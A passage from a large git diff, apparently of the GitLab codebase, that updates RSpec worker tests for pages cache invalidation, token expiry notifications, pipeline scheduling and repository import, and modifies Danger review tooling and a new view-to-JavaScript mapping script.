+ expect_next(Gitlab::Pages::CacheControl, type: :domain, id: pages_domain2.id)
+ .to receive(:clear_cache)
+
+ subject
+ end
+ end
+
it_behaves_like 'clears caches with',
event_class: Pages::PageDeployedEvent,
event_data: { project_id: 1, namespace_id: 2, root_namespace_id: 3 },
caches: [
- { type: :namespace, id: 3 },
- { type: :project, id: 1 }
+ { type: :namespace, id: 3 }
]
it_behaves_like 'clears caches with',
event_class: Pages::PageDeletedEvent,
event_data: { project_id: 1, namespace_id: 2, root_namespace_id: 3 },
caches: [
- { type: :namespace, id: 3 },
- { type: :project, id: 1 }
+ { type: :namespace, id: 3 }
]
it_behaves_like 'clears caches with',
event_class: Projects::ProjectDeletedEvent,
event_data: { project_id: 1, namespace_id: 2, root_namespace_id: 3 },
caches: [
- { type: :namespace, id: 3 },
- { type: :project, id: 1 }
+ { type: :namespace, id: 3 }
]
it_behaves_like 'clears caches with',
event_class: Projects::ProjectCreatedEvent,
event_data: { project_id: 1, namespace_id: 2, root_namespace_id: 3 },
caches: [
- { type: :namespace, id: 3 },
- { type: :project, id: 1 }
+ { type: :namespace, id: 3 }
]
it_behaves_like 'clears caches with',
event_class: Projects::ProjectArchivedEvent,
event_data: { project_id: 1, namespace_id: 2, root_namespace_id: 3 },
caches: [
- { type: :namespace, id: 3 },
- { type: :project, id: 1 }
+ { type: :namespace, id: 3 }
]
it_behaves_like 'clears caches with',
@@ -72,8 +98,7 @@ RSpec.describe Pages::InvalidateDomainCacheWorker do
new_path: 'new_path'
},
caches: [
- { type: :namespace, id: 3 },
- { type: :project, id: 1 }
+ { type: :namespace, id: 3 }
]
it_behaves_like 'clears caches with',
@@ -86,7 +111,6 @@ RSpec.describe Pages::InvalidateDomainCacheWorker do
new_root_namespace_id: 5
},
caches: [
- { type: :project, id: 1 },
{ type: :namespace, id: 3 },
{ type: :namespace, id: 5 }
]
@@ -131,10 +155,11 @@ RSpec.describe Pages::InvalidateDomainCacheWorker do
project_id: 1,
namespace_id: 2,
root_namespace_id: 3,
+ domain_id: 4,
domain: 'somedomain.com'
},
caches: [
- { type: :project, id: 1 },
+ { type: :domain, id: 4 },
{ type: :namespace, id: 3 }
]
@@ -144,10 +169,11 @@ RSpec.describe Pages::InvalidateDomainCacheWorker do
project_id: 1,
namespace_id: 2,
root_namespace_id: 3,
+ domain_id: 4,
domain: 'somedomain.com'
},
caches: [
- { type: :project, id: 1 },
+ { type: :domain, id: 4 },
{ type: :namespace, id: 3 }
]
@@ -157,10 +183,11 @@ RSpec.describe Pages::InvalidateDomainCacheWorker do
project_id: 1,
namespace_id: 2,
root_namespace_id: 3,
+ domain_id: 4,
domain: 'somedomain.com'
},
caches: [
- { type: :project, id: 1 },
+ { type: :domain, id: 4 },
{ type: :namespace, id: 3 }
]
@@ -172,10 +199,11 @@ RSpec.describe Pages::InvalidateDomainCacheWorker do
project_id: 1,
namespace_id: 2,
root_namespace_id: 3,
+ domain_id: 4,
attributes: [attribute]
},
caches: [
- { type: :project, id: 1 },
+ { type: :domain, id: 4 },
{ type: :namespace, id: 3 }
]
end
@@ -204,7 +232,6 @@ RSpec.describe Pages::InvalidateDomainCacheWorker do
features: ['pages_access_level']
},
caches: [
- { type: :project, id: 1 },
{ type: :namespace, id: 3 }
]
@@ -234,7 +261,6 @@ RSpec.describe Pages::InvalidateDomainCacheWorker do
new_root_namespace_id: 5
},
caches: [
- { type: :project, id: 1 },
{ type: :namespace, id: 5 }
]
end
diff --git a/spec/workers/personal_access_tokens/expired_notification_worker_spec.rb b/spec/workers/personal_access_tokens/expired_notification_worker_spec.rb
index 3ff67f47523..7c3c48b3f80 100644
--- a/spec/workers/personal_access_tokens/expired_notification_worker_spec.rb
+++ b/spec/workers/personal_access_tokens/expired_notification_worker_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe PersonalAccessTokens::ExpiredNotificationWorker, type: :worker do
it 'uses notification service to send email to the user' do
expect_next_instance_of(NotificationService) do |notification_service|
- expect(notification_service).to receive(:access_token_expired).with(expired_today.user)
+ expect(notification_service).to receive(:access_token_expired).with(expired_today.user, [expired_today.name])
end
worker.perform
@@ -25,7 +25,7 @@ RSpec.describe PersonalAccessTokens::ExpiredNotificationWorker, type: :worker do
shared_examples 'expiry notification is not required to be sent for the token' do
it do
expect_next_instance_of(NotificationService) do |notification_service|
- expect(notification_service).not_to receive(:access_token_expired).with(token.user)
+ expect(notification_service).not_to receive(:access_token_expired).with(token.user, [token.name])
end
worker.perform
diff --git a/spec/workers/pipeline_schedule_worker_spec.rb b/spec/workers/pipeline_schedule_worker_spec.rb
index d23907a8def..db58dc00338 100644
--- a/spec/workers/pipeline_schedule_worker_spec.rb
+++ b/spec/workers/pipeline_schedule_worker_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe PipelineScheduleWorker do
+RSpec.describe PipelineScheduleWorker, :sidekiq_inline, feature_category: :continuous_integration do
include ExclusiveLeaseHelpers
subject { described_class.new.perform }
@@ -30,7 +30,7 @@ RSpec.describe PipelineScheduleWorker do
project.add_maintainer(user)
end
- context 'when there is a scheduled pipeline within next_run_at', :sidekiq_inline do
+ context 'when there is a scheduled pipeline within next_run_at' do
shared_examples 'successful scheduling' do
it 'creates a new pipeline' do
expect { subject }.to change { project.ci_pipelines.count }.by(1)
@@ -49,7 +49,19 @@ RSpec.describe PipelineScheduleWorker do
end
end
- it_behaves_like 'successful scheduling'
+ shared_examples 'successful scheduling with/without ci_use_run_pipeline_schedule_worker' do
+ it_behaves_like 'successful scheduling'
+
+ context 'when feature flag ci_use_run_pipeline_schedule_worker is disabled' do
+ before do
+ stub_feature_flags(ci_use_run_pipeline_schedule_worker: false)
+ end
+
+ it_behaves_like 'successful scheduling'
+ end
+ end
+
+ it_behaves_like 'successful scheduling with/without ci_use_run_pipeline_schedule_worker'
context 'when the latest commit contains [ci skip]' do
before do
@@ -58,7 +70,7 @@ RSpec.describe PipelineScheduleWorker do
.and_return('some commit [ci skip]')
end
- it_behaves_like 'successful scheduling'
+ it_behaves_like 'successful scheduling with/without ci_use_run_pipeline_schedule_worker'
end
end
@@ -123,4 +135,13 @@ RSpec.describe PipelineScheduleWorker do
expect { subject }.not_to raise_error
end
end
+
+ context 'when max retry attempts reach' do
+ let!(:lease) { stub_exclusive_lease_taken(described_class.name.underscore) }
+
+ it 'does not raise error' do
+ expect(lease).to receive(:try_obtain).exactly(described_class::LOCK_RETRY + 1).times
+ expect { subject }.to raise_error(Gitlab::ExclusiveLeaseHelpers::FailedToObtainLockError)
+ end
+ end
end
diff --git a/spec/workers/projects/delete_branch_worker_spec.rb b/spec/workers/projects/delete_branch_worker_spec.rb
index c1289f56929..771ab3def84 100644
--- a/spec/workers/projects/delete_branch_worker_spec.rb
+++ b/spec/workers/projects/delete_branch_worker_spec.rb
@@ -64,9 +64,11 @@ RSpec.describe Projects::DeleteBranchWorker, feature_category: :source_code_mana
expect(instance).to receive(:execute).with(branch).and_return(service_result)
end
- expect(service_result).to receive(:track_and_raise_exception).and_call_original
+ expect(service_result).to receive(:log_and_raise_exception).and_call_original
- expect { worker.perform(project.id, user.id, branch) }.to raise_error(StandardError)
+ expect do
+ worker.perform(project.id, user.id, branch)
+ end.to raise_error(Projects::DeleteBranchWorker::GitReferenceLockedError)
end
end
@@ -78,25 +80,7 @@ RSpec.describe Projects::DeleteBranchWorker, feature_category: :source_code_mana
expect(instance).to receive(:execute).with(branch).and_return(service_result)
end
- expect(service_result).not_to receive(:track_and_raise_exception)
-
- expect { worker.perform(project.id, user.id, branch) }.not_to raise_error
- end
- end
-
- context 'when track_and_raise_delete_source_errors is disabled' do
- let(:status_code) { 400 }
-
- before do
- stub_feature_flags(track_and_raise_delete_source_errors: false)
- end
-
- it 'does not track the exception' do
- expect_next_instance_of(::Branches::DeleteService) do |instance|
- expect(instance).to receive(:execute).with(branch).and_return(service_result)
- end
-
- expect(service_result).not_to receive(:track_and_raise_exception)
+ expect(service_result).not_to receive(:log_and_raise_exception)
expect { worker.perform(project.id, user.id, branch) }.not_to raise_error
end
diff --git a/spec/workers/projects/finalize_project_statistics_refresh_worker_spec.rb b/spec/workers/projects/finalize_project_statistics_refresh_worker_spec.rb
new file mode 100644
index 00000000000..932ba29f806
--- /dev/null
+++ b/spec/workers/projects/finalize_project_statistics_refresh_worker_spec.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Projects::FinalizeProjectStatisticsRefreshWorker do
+ let_it_be(:record) { create(:project_build_artifacts_size_refresh, :finalizing) }
+
+ describe '#perform' do
+ let(:attribute) { record.class.counter_attributes.first }
+ let(:worker) { described_class.new }
+
+ subject { worker.perform(record.class.name, record.id) }
+
+ it 'stores the refresh increment to the buffered counter' do
+ expect(record.class).to receive(:find_by_id).and_return(record)
+ expect(record).to receive(:finalize!)
+
+ subject
+ end
+
+ context 'when record class does not exist' do
+ subject { worker.perform('NonExistentModel', 1) }
+
+ it 'does nothing' do
+ expect(record).not_to receive(:finalize!)
+
+ subject
+ end
+ end
+
+ context 'when record does not exist' do
+ subject { worker.perform(record.class.name, non_existing_record_id) }
+
+ it 'does nothing' do
+ expect(record).not_to receive(:finalize!)
+
+ subject
+ end
+ end
+ end
+end
diff --git a/spec/workers/projects/git_garbage_collect_worker_spec.rb b/spec/workers/projects/git_garbage_collect_worker_spec.rb
index ae567107443..899e3ed2007 100644
--- a/spec/workers/projects/git_garbage_collect_worker_spec.rb
+++ b/spec/workers/projects/git_garbage_collect_worker_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Projects::GitGarbageCollectWorker do
+RSpec.describe Projects::GitGarbageCollectWorker, feature_category: :source_code_management do
let_it_be(:project) { create(:project, :repository) }
it_behaves_like 'can collect git garbage' do
@@ -24,8 +24,7 @@ RSpec.describe Projects::GitGarbageCollectWorker do
end
context 'when the repository has joined a pool' do
- let!(:pool) { create(:pool_repository, :ready) }
- let(:project) { pool.source_project }
+ let_it_be(:pool) { create(:pool_repository, :ready, source_project: project) }
it 'ensures the repositories are linked' do
expect(project.pool_repository).to receive(:link_repository).once
diff --git a/spec/workers/projects/refresh_build_artifacts_size_statistics_worker_spec.rb b/spec/workers/projects/refresh_build_artifacts_size_statistics_worker_spec.rb
index c7e45e7e4d7..00c45255316 100644
--- a/spec/workers/projects/refresh_build_artifacts_size_statistics_worker_spec.rb
+++ b/spec/workers/projects/refresh_build_artifacts_size_statistics_worker_spec.rb
@@ -62,14 +62,38 @@ RSpec.describe Projects::RefreshBuildArtifactsSizeStatisticsWorker do
describe '#max_running_jobs' do
subject { worker.max_running_jobs }
- it { is_expected.to eq(10) }
+ before do
+ stub_feature_flags(
+ projects_build_artifacts_size_refresh: false,
+ projects_build_artifacts_size_refresh_medium: false,
+ projects_build_artifacts_size_refresh_high: false
+ )
+ end
- context 'when projects_build_artifacts_size_refresh flag is disabled' do
+ it { is_expected.to eq(0) }
+
+ context 'when projects_build_artifacts_size_refresh flag is enabled' do
before do
- stub_feature_flags(projects_build_artifacts_size_refresh: false)
+ stub_feature_flags(projects_build_artifacts_size_refresh: true)
end
- it { is_expected.to eq(0) }
+ it { is_expected.to eq(described_class::MAX_RUNNING_LOW) }
+ end
+
+ context 'when projects_build_artifacts_size_refresh_medium flag is enabled' do
+ before do
+ stub_feature_flags(projects_build_artifacts_size_refresh_medium: true)
+ end
+
+ it { is_expected.to eq(described_class::MAX_RUNNING_MEDIUM) }
+ end
+
+ context 'when projects_build_artifacts_size_refresh_high flag is enabled' do
+ before do
+ stub_feature_flags(projects_build_artifacts_size_refresh_high: true)
+ end
+
+ it { is_expected.to eq(described_class::MAX_RUNNING_HIGH) }
end
end
end
diff --git a/spec/workers/repository_import_worker_spec.rb b/spec/workers/repository_import_worker_spec.rb
index 1dc77fbf83f..ca7c13fe24e 100644
--- a/spec/workers/repository_import_worker_spec.rb
+++ b/spec/workers/repository_import_worker_spec.rb
@@ -2,92 +2,88 @@
require 'spec_helper'
-RSpec.describe RepositoryImportWorker do
+RSpec.describe RepositoryImportWorker, feature_category: :importers do
describe '#perform' do
- let(:project) { create(:project, :import_scheduled) }
- let(:import_state) { project.import_state }
-
- context 'when worker was reset without cleanup' do
- it 'imports the project successfully' do
- jid = '12345678'
- started_project = create(:project)
- started_import_state = create(:import_state, :started, project: started_project, jid: jid)
-
- allow(subject).to receive(:jid).and_return(jid)
+ let(:project) { build_stubbed(:project, :import_scheduled, import_state: import_state, import_url: 'url') }
+ let(:import_state) { create(:import_state, status: :scheduled) }
+ let(:jid) { '12345678' }
+
+ before do
+ allow(subject).to receive(:jid).and_return(jid)
+ allow(Project).to receive(:find_by_id).with(project.id).and_return(project)
+ allow(project).to receive(:after_import)
+ allow(import_state).to receive(:start).and_return(true)
+ end
- expect_next_instance_of(Projects::ImportService) do |instance|
- expect(instance).to receive(:execute).and_return({ status: :ok })
- end
+ context 'when project not found (deleted)' do
+ before do
+ allow(Project).to receive(:find_by_id).with(project.id).and_return(nil)
+ end
- # Works around https://github.com/rspec/rspec-mocks/issues/910
- expect(Project).to receive(:find).with(started_project.id).and_return(started_project)
- expect(started_project.repository).to receive(:expire_emptiness_caches)
- expect(started_project.wiki.repository).to receive(:expire_emptiness_caches)
- expect(started_import_state).to receive(:finish)
+ it 'does not raise any exception' do
+ expect(Projects::ImportService).not_to receive(:new)
- subject.perform(started_project.id)
+ expect { subject.perform(project.id) }.not_to raise_error
end
end
- context 'when the import was successful' do
- it 'imports a project' do
+ context 'when import_state is scheduled' do
+ it 'imports the project successfully' do
expect_next_instance_of(Projects::ImportService) do |instance|
expect(instance).to receive(:execute).and_return({ status: :ok })
end
- # Works around https://github.com/rspec/rspec-mocks/issues/910
- expect(Project).to receive(:find).with(project.id).and_return(project)
- expect(project.repository).to receive(:expire_emptiness_caches)
- expect(project.wiki.repository).to receive(:expire_emptiness_caches)
- expect(import_state).to receive(:finish)
-
subject.perform(project.id)
+
+ expect(project).to have_received(:after_import)
+ expect(import_state).to have_received(:start)
end
end
- context 'when the import has failed' do
- it 'updates the error on Import/Export & hides credentials from import URL' do
- import_url = 'https://user:pass@test.com/root/repoC.git/'
- error = "#{import_url} not found"
-
- import_state.update!(jid: '123')
- project.update!(import_type: 'gitlab_project')
+ context 'when worker was reset without cleanup (import_state is started)' do
+ let(:import_state) { create(:import_state, :started, jid: jid) }
+ it 'imports the project successfully' do
expect_next_instance_of(Projects::ImportService) do |instance|
- expect(instance).to receive(:track_start_import).and_raise(StandardError, error)
+ expect(instance).to receive(:execute).and_return({ status: :ok })
end
- expect { subject.perform(project.id) }.not_to raise_error
+ subject.perform(project.id)
- import_state.reload
- expect(import_state.jid).to eq('123')
- expect(import_state.status).to eq('failed')
- expect(import_state.last_error).to include("[FILTERED] not found")
- expect(import_state.last_error).not_to include(import_url)
+ expect(project).to have_received(:after_import)
+ expect(import_state).not_to have_received(:start)
end
end
context 'when using an asynchronous importer' do
it 'does not mark the import process as finished' do
- service = double(:service)
+ expect_next_instance_of(Projects::ImportService) do |instance|
+ expect(instance).to receive(:execute).and_return({ status: :ok })
+ expect(instance).to receive(:async?).and_return(true)
+ end
+
+ subject.perform(project.id)
- allow(Projects::ImportService)
- .to receive(:new)
- .and_return(service)
+ expect(project).not_to have_received(:after_import)
+ end
+ end
- allow(service)
- .to receive(:execute)
- .and_return(true)
+ context 'when the import has failed' do
+ let(:error) { "https://user:pass@test.com/root/repoC.git/ not found" }
- allow(service)
- .to receive(:async?)
- .and_return(true)
+ before do
+ allow(import_state).to receive(:mark_as_failed)
+ end
- expect_next_instance_of(ProjectImportState) do |instance|
- expect(instance).not_to receive(:finish)
+ it 'marks import_state as failed' do
+ expect_next_instance_of(Projects::ImportService) do |instance|
+ expect(instance).to receive(:execute).and_return({ status: :error, message: error })
end
subject.perform(project.id)
+
+ expect(import_state).to have_received(:mark_as_failed).with(error)
+ expect(project).not_to have_received(:after_import)
end
end
end
diff --git a/spec/workers/run_pipeline_schedule_worker_spec.rb b/spec/workers/run_pipeline_schedule_worker_spec.rb
index 4fdf6149435..25158de3341 100644
--- a/spec/workers/run_pipeline_schedule_worker_spec.rb
+++ b/spec/workers/run_pipeline_schedule_worker_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe RunPipelineScheduleWorker do
+RSpec.describe RunPipelineScheduleWorker, feature_category: :continuous_integration do
it 'has an until_executed deduplicate strategy' do
expect(described_class.get_deduplicate_strategy).to eq(:until_executed)
end
@@ -21,6 +21,11 @@ RSpec.describe RunPipelineScheduleWorker do
end
end
+ it 'accepts an option' do
+ expect { worker.perform(pipeline_schedule.id, user.id, {}) }.not_to raise_error
+ expect { worker.perform(pipeline_schedule.id, user.id, {}, {}) }.to raise_error(ArgumentError)
+ end
+
context 'when a schedule not found' do
it 'does not call the Service' do
expect(Ci::CreatePipelineService).not_to receive(:new)
@@ -56,37 +61,91 @@ RSpec.describe RunPipelineScheduleWorker do
let(:create_pipeline_service) { instance_double(Ci::CreatePipelineService, execute: service_response) }
let(:service_response) { instance_double(ServiceResponse, payload: pipeline, error?: false) }
- before do
- expect(Ci::CreatePipelineService).to receive(:new).with(project, user, ref: pipeline_schedule.ref).and_return(create_pipeline_service)
+ context 'when pipeline can be created' do
+ before do
+ expect(Ci::CreatePipelineService).to receive(:new).with(project, user, ref: pipeline_schedule.ref).and_return(create_pipeline_service)
- expect(create_pipeline_service).to receive(:execute).with(:schedule, ignore_skip_ci: true, save_on_errors: false, schedule: pipeline_schedule).and_return(service_response)
- end
+ expect(create_pipeline_service).to receive(:execute).with(:schedule, ignore_skip_ci: true, save_on_errors: false, schedule: pipeline_schedule).and_return(service_response)
+ end
+
+ context "when pipeline is persisted" do
+ let(:pipeline) { instance_double(Ci::Pipeline, persisted?: true) }
- context "when pipeline is persisted" do
- let(:pipeline) { instance_double(Ci::Pipeline, persisted?: true) }
+ it "returns the service response" do
+ expect(worker.perform(pipeline_schedule.id, user.id)).to eq(service_response)
+ end
- it "returns the service response" do
- expect(worker.perform(pipeline_schedule.id, user.id)).to eq(service_response)
+ it "does not log errors" do
+ expect(worker).not_to receive(:log_extra_metadata_on_done)
+
+ expect(worker.perform(pipeline_schedule.id, user.id)).to eq(service_response)
+ end
+
+ it "changes the next_run_at" do
+ expect { worker.perform(pipeline_schedule.id, user.id) }.to change { pipeline_schedule.reload.next_run_at }.by(1.day)
+ end
+
+ context 'when feature flag ci_use_run_pipeline_schedule_worker is disabled' do
+ before do
+ stub_feature_flags(ci_use_run_pipeline_schedule_worker: false)
+ end
+
+ it 'does not change the next_run_at' do
+ expect { worker.perform(pipeline_schedule.id, user.id) }.not_to change { pipeline_schedule.reload.next_run_at }
+ end
+ end
end
- it "does not log errors" do
- expect(worker).not_to receive(:log_extra_metadata_on_done)
+ context "when pipeline was not persisted" do
+ let(:service_response) { instance_double(ServiceResponse, error?: true, message: "Error", payload: pipeline) }
+ let(:pipeline) { instance_double(Ci::Pipeline, persisted?: false) }
+
+ it "logs a pipeline creation error" do
+ expect(worker)
+ .to receive(:log_extra_metadata_on_done)
+ .with(:pipeline_creation_error, service_response.message)
+ .and_call_original
- expect(worker.perform(pipeline_schedule.id, user.id)).to eq(service_response)
+ expect(worker.perform(pipeline_schedule.id, user.id)).to eq(service_response.message)
+ end
end
end
- context "when pipeline was not persisted" do
- let(:service_response) { instance_double(ServiceResponse, error?: true, message: "Error", payload: pipeline) }
- let(:pipeline) { instance_double(Ci::Pipeline, persisted?: false) }
+ context 'when schedule is already executed' do
+ let(:time_in_future) { 1.hour.since }
+
+ before do
+ pipeline_schedule.update_column(:next_run_at, time_in_future)
+ end
+
+ it 'does not change the next_run_at' do
+ expect { worker.perform(pipeline_schedule.id, user.id) }.to not_change { pipeline_schedule.reload.next_run_at }
+ end
+
+ it 'does not create a pipeline' do
+ expect(Ci::CreatePipelineService).not_to receive(:new)
+
+ worker.perform(pipeline_schedule.id, user.id)
+ end
+
+ context 'when feature flag ci_use_run_pipeline_schedule_worker is disabled' do
+ let(:pipeline) { instance_double(Ci::Pipeline, persisted?: true) }
+
+ before do
+ stub_feature_flags(ci_use_run_pipeline_schedule_worker: false)
+
+ expect(Ci::CreatePipelineService).to receive(:new).with(project, user, ref: pipeline_schedule.ref).and_return(create_pipeline_service)
+
+ expect(create_pipeline_service).to receive(:execute).with(:schedule, ignore_skip_ci: true, save_on_errors: false, schedule: pipeline_schedule).and_return(service_response)
+ end
- it "logs a pipeline creation error" do
- expect(worker)
- .to receive(:log_extra_metadata_on_done)
- .with(:pipeline_creation_error, service_response.message)
- .and_call_original
+ it 'does not change the next_run_at' do
+ expect { worker.perform(pipeline_schedule.id, user.id) }.to not_change { pipeline_schedule.reload.next_run_at }
+ end
- expect(worker.perform(pipeline_schedule.id, user.id)).to eq(service_response.message)
+ it "returns the service response" do
+ expect(worker.perform(pipeline_schedule.id, user.id)).to eq(service_response)
+ end
end
end
end
diff --git a/spec/workers/wait_for_cluster_creation_worker_spec.rb b/spec/workers/wait_for_cluster_creation_worker_spec.rb
deleted file mode 100644
index 9079dff1afe..00000000000
--- a/spec/workers/wait_for_cluster_creation_worker_spec.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe WaitForClusterCreationWorker do
- describe '#perform' do
- context 'when provider type is gcp' do
- let(:cluster) { create(:cluster, provider_type: :gcp, provider_gcp: provider) }
- let(:provider) { create(:cluster_provider_gcp, :creating) }
-
- it 'provisions a cluster' do
- expect_any_instance_of(Clusters::Gcp::VerifyProvisionStatusService).to receive(:execute).with(provider)
-
- described_class.new.perform(cluster.id)
- end
- end
-
- context 'when provider type is aws' do
- let(:cluster) { create(:cluster, provider_type: :aws, provider_aws: provider) }
- let(:provider) { create(:cluster_provider_aws, :creating) }
-
- it 'provisions a cluster' do
- expect_any_instance_of(Clusters::Aws::VerifyProvisionStatusService).to receive(:execute).with(provider)
-
- described_class.new.perform(cluster.id)
- end
- end
-
- context 'when provider type is user' do
- let(:cluster) { create(:cluster, provider_type: :user) }
-
- it 'does not provision a cluster' do
- expect_any_instance_of(Clusters::Gcp::VerifyProvisionStatusService).not_to receive(:execute)
-
- described_class.new.perform(cluster.id)
- end
- end
-
- context 'when cluster does not exist' do
- it 'does not provision a cluster' do
- expect_any_instance_of(Clusters::Gcp::VerifyProvisionStatusService).not_to receive(:execute)
-
- described_class.new.perform(123)
- end
- end
- end
-end
diff --git a/spec/workers/wikis/git_garbage_collect_worker_spec.rb b/spec/workers/wikis/git_garbage_collect_worker_spec.rb
index 77c2e49a83a..2c6899848cf 100644
--- a/spec/workers/wikis/git_garbage_collect_worker_spec.rb
+++ b/spec/workers/wikis/git_garbage_collect_worker_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Wikis::GitGarbageCollectWorker do
+RSpec.describe Wikis::GitGarbageCollectWorker, feature_category: :source_code_management do
it_behaves_like 'can collect git garbage' do
let_it_be(:resource) { create(:project_wiki) }
let_it_be(:page) { create(:wiki_page, wiki: resource) }
diff --git a/tests.yml b/tests.yml
index be6cb2c84c7..4526c9cf1f5 100644
--- a/tests.yml
+++ b/tests.yml
@@ -92,3 +92,13 @@ mapping:
test: spec/requests/api/markdown_snapshot_spec.rb
- source: glfm_specification/.+
test: ee/spec/requests/api/markdown_snapshot_spec.rb
+
+ # Any change to metrics definition should trigger the specs in the ee/spec/config/metrics/ folder.
+ #
+ # Note: We only have those tests for ee, even though we have non-ee metrics.
+ #
+ # See https://gitlab.com/gitlab-org/quality/engineering-productivity/master-broken-incidents/-/issues/287#note_1192008962
+ - source: ee/config/metrics/.*.yml
+ test: ee/spec/config/metrics/every_metric_definition_spec.rb
+ - source: ee/lib/ee/gitlab/usage_data_counters/known_events/.*.yml
+ test: ee/spec/config/metrics/every_metric_definition_spec.rb
diff --git a/tooling/bin/view_to_js_mappings b/tooling/bin/view_to_js_mappings
new file mode 100755
index 00000000000..2cebb91892e
--- /dev/null
+++ b/tooling/bin/view_to_js_mappings
@@ -0,0 +1,10 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require_relative '../lib/tooling/view_to_js_mappings'
+
+changes = ARGV.shift
+output_file = ARGV.shift
+changed_files = File.read(changes).split(' ')
+
+File.write(output_file, Tooling::ViewToJsMappings.new.execute(changed_files).join(' '))
diff --git a/tooling/danger/config_files.rb b/tooling/danger/config_files.rb
index 436335bfc06..914605a3783 100644
--- a/tooling/danger/config_files.rb
+++ b/tooling/danger/config_files.rb
@@ -7,7 +7,7 @@ module Tooling
module ConfigFiles
SUGGEST_INTRODUCED_BY_COMMENT = <<~SUGGEST_COMMENT
```suggestion
- introduced_by_url: "%<url>s"
+ introduced_by_url: %<url>
```
SUGGEST_COMMENT
diff --git a/tooling/danger/specs.rb b/tooling/danger/specs.rb
index c7baf920314..6c0459a4344 100644
--- a/tooling/danger/specs.rb
+++ b/tooling/danger/specs.rb
@@ -45,12 +45,12 @@ module Tooling
for background information and alternative options.
SUGGEST_COMMENT
- FEATURE_CATEGORY_REGEX = /^\+.?RSpec\.describe(.+)(?!feature_category)/.freeze
+ RSPEC_TOP_LEVEL_DESCRIBE_REGEX = /^\+.?RSpec\.describe(.+)/.freeze
FEATURE_CATEGORY_SUGGESTION = <<~SUGGESTION_MARKDOWN
Consider adding `feature_category: <feature_category_name>` for this example if it is not set already.
See [testing best practices](https://docs.gitlab.com/ee/development/testing_guide/best_practices.html#feature-category-metadata).
SUGGESTION_MARKDOWN
- FEATURE_CATEGORY_EXCLUDE = 'feature_category'
+ FEATURE_CATEGORY_KEYWORD = 'feature_category'
def changed_specs_files(ee: :include)
changed_files = helper.all_changed_files
@@ -86,13 +86,26 @@ module Tooling
end
def add_suggestions_for_feature_category(filename)
- add_suggestion(
- filename,
- FEATURE_CATEGORY_REGEX,
- FEATURE_CATEGORY_SUGGESTION,
- nil,
- FEATURE_CATEGORY_EXCLUDE
- )
+ file_lines = project_helper.file_lines(filename)
+ changed_lines = helper.changed_lines(filename)
+
+ changed_lines.each_with_index do |changed_line, i|
+ next unless changed_line =~ RSPEC_TOP_LEVEL_DESCRIBE_REGEX
+
+ next_line_in_file = file_lines[file_lines.find_index(changed_line.delete_prefix('+')) + 1]
+
+ if changed_line.include?(FEATURE_CATEGORY_KEYWORD) || next_line_in_file.to_s.include?(FEATURE_CATEGORY_KEYWORD)
+ next
+ end
+
+ line_number = file_lines.find_index(changed_line.delete_prefix('+'))
+ next unless line_number
+
+ suggested_line = file_lines[line_number]
+
+ text = format(comment(FEATURE_CATEGORY_SUGGESTION), suggested_line: suggested_line)
+ markdown(text, file: filename, line: line_number + 1)
+ end
end
private
diff --git a/tooling/danger/user_types.rb b/tooling/danger/user_types.rb
deleted file mode 100644
index 8320c43ae93..00000000000
--- a/tooling/danger/user_types.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# frozen_string_literal: true
-
-module Tooling
- module Danger
- module UserTypes
- FILE_PATH = "app/models/concerns/has_user_type.rb"
- BOT_USER_TYPES_CHANGE_INDICATOR_REGEX = %r{BOT_USER_TYPES}.freeze
- BOT_USER_TYPES_CHANGED_WARNING = <<~MSG
- You are changing BOT_USER_TYPES in `app/models/concerns/has_user_type.rb`.
- If you are adding or removing new bots, remember to update the `active_billable_users` index with the new value.
- If the bot is not billable, remember to make sure that it's not counted as a billable user.
- MSG
-
- def bot_user_types_change_warning
- return unless impacted?
-
- warn BOT_USER_TYPES_CHANGED_WARNING if bot_user_types_impacted?
- end
-
- private
-
- def impacted?
- helper.modified_files.include?(FILE_PATH)
- end
-
- def bot_user_types_impacted?
- helper.changed_lines(FILE_PATH).any? { |change| change =~ BOT_USER_TYPES_CHANGE_INDICATOR_REGEX }
- end
- end
- end
-end
diff --git a/tooling/lib/tooling/view_to_js_mappings.rb b/tooling/lib/tooling/view_to_js_mappings.rb
new file mode 100644
index 00000000000..76704a04469
--- /dev/null
+++ b/tooling/lib/tooling/view_to_js_mappings.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require_relative '../../../lib/gitlab_edition'
+
+# Returns JS files that are related to the Rails views files that were changed in the MR.
+module Tooling
+ class ViewToJsMappings
+ # The HTML attribute value pattern we're looking for to match an HTML file to a JS file.
+ HTML_ATTRIBUTE_VALUE_REGEXP = /js-[-\w]+/.freeze
+
+ # Search for Rails partials included in an HTML file
+ RAILS_PARTIAL_INVOCATION_REGEXP = %r{(?:render|render_if_exist)(?: |\()(?:partial: ?)?['"]([\w/-]+)['"]}.freeze
+
+ def initialize(view_base_folder: 'app/views', js_base_folder: 'app/assets/javascripts')
+ @view_base_folders = folders_for_available_editions(view_base_folder)
+ @js_base_folders = folders_for_available_editions(js_base_folder)
+ end
+
+ def execute(changed_files)
+ changed_view_files = view_files(changed_files)
+
+ partials = changed_view_files.flat_map do |file|
+ find_partials(file)
+ end
+
+ files_to_scan = changed_view_files + partials
+ js_tags = files_to_scan.flat_map do |file|
+ find_pattern_in_file(file, HTML_ATTRIBUTE_VALUE_REGEXP)
+ end
+ js_tags_regexp = Regexp.union(js_tags)
+
+ @js_base_folders.flat_map do |js_base_folder|
+ Dir["#{js_base_folder}/**/*.{js,vue}"].select do |js_file|
+ file_content = File.read(js_file)
+ js_tags_regexp.match?(file_content)
+ end
+ end
+ end
+
+ # Keep the files that are in the @view_base_folders folder
+ def view_files(changed_files)
+ changed_files.select do |filename|
+ filename.start_with?(*@view_base_folders) &&
+ File.exist?(filename)
+ end
+ end
+
+ def folders_for_available_editions(base_folder)
+ foss_prefix = base_folder
+ extension_prefixes = ::GitlabEdition.extensions.map { |prefix| "#{prefix}/#{foss_prefix}" }
